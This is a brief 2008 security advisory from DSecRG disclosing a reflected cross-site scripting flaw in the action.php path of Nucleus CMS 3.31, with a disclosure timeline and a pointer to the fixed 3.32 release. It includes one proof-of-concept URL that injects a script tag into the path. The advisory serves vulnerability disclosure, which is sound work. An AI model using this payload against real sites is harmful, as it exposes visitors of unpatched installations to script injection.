[!!FIX Information ] Nucleus 3.31 XSS in path

It is updated version of advisory. updated info in "Fix
Information" part, mistake in vendor name.




Digital Security Research Group [DSecRG] Advisory #DSECRG-08-006


Application: Nucleus CMS
Versions Affected: 3.31
Vendor URL: http://nucleuscms.org
Bugs: XSS Injection in URL
Exploits: YES
Reported: 16.01.2008
Vendor response: 18.01.2008
Date of Public Advisory: 29.01.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
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Linked XSS vulnerability found in action.php, attacker can inject XSS in URL string:

Example:

http://[server]/[installdir]/action.php/";><script>alert('DSecRG XSS')</script>


Fix Information
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Nucleus was altered to fix this flaw on 29 January 2008. Updated version (3.32) can be downloaded here:

http://prdownloads.sourceforge.net/nucleuscms/nucleus3.32.zip?download



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